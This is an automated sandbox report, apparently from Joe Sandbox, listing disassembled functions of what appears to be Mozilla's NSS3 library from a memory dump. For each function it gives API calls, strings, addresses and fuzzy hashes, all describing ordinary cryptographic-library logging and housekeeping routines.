Opcode Fuzzy Hash: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction Fuzzy Hash: 7531F871B02114AFCB009F14DD8CBBE3B75AB4730DFA44435E5089BB12DB309929DBAA

Function 6C659EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C659F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659F49

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C659F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C659FC0

Strings

C_MessageEncryptInit, xrefs: 6C659F01
(CK_INVALID_HANDLE), xrefs: 6C659F3F, 6C659FA0
nsl, xrefs: 6C659FD8, 6C65A006
hKey = 0x%x, xrefs: 6C659F82, 6C659F92
hSession = 0x%x, xrefs: 6C659F21, 6C659F31

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nsl
API String ID: 332880674-3854955705
Opcode ID: 4b3683c1e084aacc143abcaf28775447237f8251e08072ed6a6a05fa579ba66f
Instruction ID: 389567ed771be345772a5263c2611a2d07d0dde1a2660c18d8f03ff9bb294989
Opcode Fuzzy Hash: 4b3683c1e084aacc143abcaf28775447237f8251e08072ed6a6a05fa579ba66f
Instruction Fuzzy Hash: 5B31F871A02254ABCB009F14DD8CFAE3775BB4731DF648035F50897B42DB359929CB9A

Function 6C652DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C652DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652E33

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652E81

Strings

(CK_INVALID_HANDLE), xrefs: 6C652E2C
nsl, xrefs: 6C652E99, 6C652EC4
pPin = 0x%p, xrefs: 6C652E63
C_InitPIN, xrefs: 6C652DF1
hSession = 0x%x, xrefs: 6C652E0E, 6C652E1E
ulPinLen = %d, xrefs: 6C652E7C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nsl
API String ID: 1003633598-1268303819
Opcode ID: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction ID: 1b75caea1196d8deca6e740c523a1a746194a817b4ff8e1c450bd2b55dab79fb
Opcode Fuzzy Hash: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction Fuzzy Hash: 3D31E771B02114AFDB009B14DD8CB8E7BB5EB4731DF644034E908A7B12DB309D59CBAA

Function 6C657E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C657E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657E63

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C657E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C657EB1

Strings

ulPartLen = %d, xrefs: 6C657EAC
pPart = 0x%p, xrefs: 6C657E93
(CK_INVALID_HANDLE), xrefs: 6C657E5C
nsl, xrefs: 6C657EC9, 6C657EF7
C_VerifyUpdate, xrefs: 6C657E21
hSession = 0x%x, xrefs: 6C657E3E, 6C657E4E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nsl
API String ID: 1003633598-290688487
Opcode ID: a7b85e183c31dcf0976dfc1c6ba6c137aef776397699eb6022b1f59dd17ad3dd
Instruction ID: 528b3d7f0c3a1a8c3c60484dd3353e84e40bdc0d893595bf17aafb77f2e2d1be
Opcode Fuzzy Hash: a7b85e183c31dcf0976dfc1c6ba6c137aef776397699eb6022b1f59dd17ad3dd
Instruction Fuzzy Hash: D531D735B12254AFDB009B14DE4CB8E7BB5AB43319F658034E90897712DB309D59CBAA

Function 6C656EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C656F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656F53

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C656F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C656FA1

Strings

ulPartLen = %d, xrefs: 6C656F9C
pPart = 0x%p, xrefs: 6C656F83
(CK_INVALID_HANDLE), xrefs: 6C656F4C
nsl, xrefs: 6C656FB9, 6C656FE7
C_DigestUpdate, xrefs: 6C656F11
hSession = 0x%x, xrefs: 6C656F2E, 6C656F3E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nsl
API String ID: 1003633598-4003348144
Opcode ID: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction ID: 6c936d6dc6f705c097c33ae9a9e6df71722412c58ac0f431abae2603ce2a61bd
Opcode Fuzzy Hash: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction Fuzzy Hash: 9931E935A121149FDB009B14DD8CB8A7BB6EB4331DFA58034E90897712DB31DD58CB9A

Function 6C657F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C657F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657F93

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C657FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C657FE1

Strings

C_VerifyFinal, xrefs: 6C657F51
(CK_INVALID_HANDLE), xrefs: 6C657F8C
nsl, xrefs: 6C657FF9, 6C658027
ulSignatureLen = %d, xrefs: 6C657FDC
pSignature = 0x%p, xrefs: 6C657FC3
hSession = 0x%x, xrefs: 6C657F6E, 6C657F7E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nsl
API String ID: 1003633598-1698892511
Opcode ID: d91bfd82e6ae0b0b2d002141cd0c589db7d5a27c616b378e70876d707771e89d
Instruction ID: 9c223dee2442da420a867eac0ba85b6875536b294cd27d26c815b19e73ee44fe
Opcode Fuzzy Hash: d91bfd82e6ae0b0b2d002141cd0c589db7d5a27c616b378e70876d707771e89d
Instruction Fuzzy Hash: 69310731A02114AFDB00DB14DD8CF8A7BB5AB47319F658031E90C97B12DB31A958CBAA

Function 6C61AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C61AF47

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

FreeLibrary.KERNEL32(?), ref: 6C61AF6D
free.MOZGLUE(?), ref: 6C61AFA4
free.MOZGLUE(?), ref: 6C61AFAA
PR_ExitMonitor.NSS3 ref: 6C61AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C61AFF5
PR_ExitMonitor.NSS3 ref: 6C61B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C61B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B03C

Strings

Unloaded library %s, xrefs: 6C61B023
%s decr => %d, xrefs: 6C61AFF0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction ID: d5b150649ea5243c06fb7b03ec61341a487384ea16e5a5feb31bbf88cef49f75
Opcode Fuzzy Hash: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction Fuzzy Hash: 7431E3B5B09110AFDA019E69DC44A95B775EF4630AB284135E81587E42E722E82CCBEA

Function 6C666C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

Strings

dbm, xrefs: 6C666CA4
sql:, xrefs: 6C666C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C666C91
dbm:, xrefs: 6C666C3A
rdb:, xrefs: 6C666C69
extern:, xrefs: 6C666C7E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction ID: 53c0d52b4e40409f264e2e5af8e71a4432e0ad1964a4519901c796187d25eaf4
Opcode Fuzzy Hash: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction Fuzzy Hash: 4E01A2A170271527E6002B7B6E4AF66655C9F4239EF140531FE08E0E81EAA6EA1440BE

Function 6C674E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6378F8), ref: 6C674E6D

Part of subcall function 6C6109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6106A2,00000000,?), ref: 6C6109F8
Part of subcall function 6C6109E0: malloc.MOZGLUE(0000001F), ref: 6C610A18
Part of subcall function 6C6109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C610A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6378F8), ref: 6C674ED9

Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000,00000000), ref: 6C665942
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703), ref: 6C665954
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C66596A
Part of subcall function 6C665920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C665984
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C665999
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659BA
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6659D3
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659F5
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C665A0A
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C665A2E
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C665A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EB3

Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67484C
Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67486D
Part of subcall function 6C674820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C674EB8,?), ref: 6C674884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EC0

Part of subcall function 6C674470: TlsGetValue.KERNEL32(00000000,?,6C637296,00000000), ref: 6C674487
Part of subcall function 6C674470: EnterCriticalSection.KERNEL32(?,?,?,6C637296,00000000), ref: 6C6744A0
Part of subcall function 6C674470: PR_Unlock.NSS3(?,?,?,?,6C637296,00000000), ref: 6C6744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F8F
PK11_UpdateSlotAttribute.NSS3(?,6C74DCB0,00000000), ref: 6C674FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C67501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67506B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction ID: 04465b74094e4cf966552344a21fe810f4e3b52a317d6d6c7fd1fc4314a43310
Opcode Fuzzy Hash: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction Fuzzy Hash: E95128B1D002059BEB219F24EC096AB37B4FF0631DF140975EC1A86A11FB31D965CBBA

Function 6C61ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
malloc.MOZGLUE(00000001), ref: 6C61ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
TlsGetValue.KERNEL32 ref: 6C61AD3C
calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
PR_Unlock.NSS3 ref: 6C61ADC0
free.MOZGLUE(00000000), ref: 6C61AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C61AE58
free.MOZGLUE(00000000), ref: 6C61AE69
free.MOZGLUE(?), ref: 6C61AE78
PR_Unlock.NSS3 ref: 6C61AE8C
free.MOZGLUE(?), ref: 6C61AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61AEC7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction ID: ac832a1907e3e748848871820da3e945ebf454f75a930613b57c2f3825ead993
Opcode Fuzzy Hash: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction Fuzzy Hash: 6F51AEB0F092299BDF01DF68C8456AA77B4BB0B34AF150135D914A3E12D731A909CBEA

Function 6C6F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6F4D44

Strings

API call with %s database connection pointer, xrefs: 6C6F4CF6
bad parameter or other API misuse, xrefs: 6C6F4D05
out of memory, xrefs: 6C6F4C78, 6C6F4C9E
abort due to ROLLBACK, xrefs: 6C6F4D27, 6C6F4D33
another row available, xrefs: 6C6F4D20
no more rows available, xrefs: 6C6F4D2E
invalid, xrefs: 6C6F4CF1
unknown error, xrefs: 6C6F4D56

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction ID: 7ee2bfdfc5050d8038f3ff95453d138c8aa5abd9d283d08018cf63351a16efa3
Opcode Fuzzy Hash: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction Fuzzy Hash: 49316872A08911ABD70806289B217F573A77B83318F551135D4384BE59DBE1AC23C3FE

Function 6C652CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C652CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C652D07

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
